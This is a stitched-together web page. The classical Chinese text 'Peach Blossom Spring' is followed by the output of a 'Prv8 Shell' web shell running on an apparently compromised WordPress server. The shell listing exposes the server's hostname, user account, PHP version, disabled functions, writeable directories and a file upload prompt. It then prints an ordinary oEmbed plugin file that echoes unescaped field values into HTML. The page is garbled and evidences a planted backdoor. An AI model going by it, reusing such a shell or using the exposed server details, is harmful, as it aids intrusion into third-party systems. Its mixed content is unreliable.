晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/stando/www/wp-content/plugins/uwac/adminframework/fields/oembed/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/stando/www/wp-content/plugins/uwac/adminframework/fields/oembed/oembed.php
<?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access pages directly.
/**
*
* Field: OEmbed
*
* @since 1.0.0
* @version 1.0.0
*
*/
class CSSFramework_Option_oembed extends CSSFramework_Options {
	
	public function __construct( $field = '', $value = '', $unique = '' ) {
		parent::__construct( $field, $value, $unique );
	}

	static function init(){
		/**
		 * Register Hooks
		 */
		// Register AJAX handler
		add_action( 'wp_ajax_cssf-oembed-handler', array( 'CSSFramework_Option_oembed', 'oembed_handler' ) );

		// Register Field Assets - Styles and Scripts
		add_filter('cssf_register_framework_assets',array( 'CSSFramework_Option_oembed', 'register_assets' ),10);
	}

	static public function register_assets($styles_scripts){
		$styles = $styles_scripts[0];
		$scripts = $styles_scripts[1];

		$url = CSSF_URI . '/fields/oembed/';

		$styles['cssf-field-oembed'] = array(
			$url . 'css/styles.css',
			array(),
			'1.0.0',
			false,
		);

		$scripts['cssf-field-oembed'] = array(
			$url . 'js/scripts.js',
			array( 'cssf-plugins' ),
			'1.0.0',
			false,
		);

		return array($styles,$scripts);
	}
	
	public function oembed_handler(){
		// check the nonce
		if (check_ajax_referer( 'cssf-framework-nonce', 'nonce', false ) == false ) {
			wp_send_json_error();
			die('Permissions check failed. Please login or refresh (if already logged in) the page, then try Again.');
		}
		// grab and escape args
		$args = array(
			'width' 	=> intval($_POST['width']),
			'height' 	=> intval($_POST['height'])
		);

		// generate the oEmbed
		$embed = wp_oembed_get($_POST['oembed_url'], $args);

		// generate the response
		if ($embed){
			// AJAX Response
			$response = array(
				'embed'	=> $embed,
			);
			wp_send_json_success($response);
		} else {
			// AJAX Response
			$response = array(
				'embed'	=> __('Not a valid oEmbed source','cssf-framework'),
			);
			wp_send_json_error($response);
		}

		die();
	}

	/**
	 *
	 * get_image_size_dimensions()
	 *
	 * Get width and height for a defined image size
	 * @param  string $size A defined image size, eg 'medium'
	 * @return array ['width'] & ['height'] or false
	 */
	function get_image_size_dimensions($size) {
		global $_wp_additional_image_sizes;
		if (isset($_wp_additional_image_sizes[$size])) {
			$width = intval($_wp_additional_image_sizes[$size]['width']);
			$height = intval($_wp_additional_image_sizes[$size]['height']);
		} else {
			$width = get_option($size.'_size_w');
			$height = get_option($size.'_size_h');
		}

		if ( $width && $height ) {
			return array(
				'width' => $width,
				'height' => $height
			);
		} else return false;
	}
	

	/**
	 * Field Output
	 */
	public function output() {

		$value          = $this->element_value();
    	$value          = ( ! empty( $value ) ) ? $value : $this->field['default'];

		$settings = array(
			'placeholder'	=> ( isset( $this->field['settings']['placeholder'] ) ) ? $this->field['settings']['placeholder'] : __('Search...','cssf-framework'),
			'preview_size'  => ( isset( $this->field['settings']['preview_size'] ) ) ? $this->field['settings']['preview_size'] : false,
			'width'  		=> ( isset( $this->field['settings']['width'] ) ) ? $this->field['settings']['width'] : 640,
			'height'  		=> ( isset( $this->field['settings']['height'] ) ) ? $this->field['settings']['height'] : 390,
		);

		$placeholder = $settings['placeholder'];

		if ($settings['preview_size']){
			$dimensions = $this->get_image_size_dimensions($field['preview_size']);
			$preview 	= wp_oembed_get($value, $dimensions);
			$width 		= $dimensions['width'];
			$height 	= $dimensions['height'];
		} else {
			$preview 	= wp_oembed_get($value);
			$width 		= $settings['width'];
			$height 	= $settings['height'];
		}

		$hide_preview 	= (!$preview) ? 'hidden' : '';
		$hide_loader 	= ($preview) ? 'hidden' : '';

		
		echo $this->element_before();

		echo "
			<input type='hidden' name='". $this->element_name() ."' value='". $this->element_value() ."' ". $this->element_class('cssf-oembed-value') ."/>
			<div class='cssf-field-inner-wrapper'>
				<div class='cssf-field-header'>
					<div class='cssf-field-text'>
						<input type='url' value='". $this->element_value() ."' placeholder='{$placeholder}' class='cssf-oembed-search'/>
					</div>
					<div class='cssf-actions'>
						<a data-name='cssf-clear-button' href='#' class='cssf-clear-button cssf-button-icon'><i class='cli cli-delete'></i></a>
					</div>
				</div>
				
				<div class='cssf-oembed-canvas' data-preview-width='{$width}' data-preview-height='{$height}'>
					<div class='cssf-oembed-canvas-media {$hide_preview}'>
						{$preview}
					</div>
					<div class='cssf-loader {$hide_loader}'>
						<i class='cli cli-image'></i>
					</div>
				</div>
			</div>
		";
		echo $this->element_after();
		
	}
	
}


CSSFramework_Option_oembed::init();

haha - 2025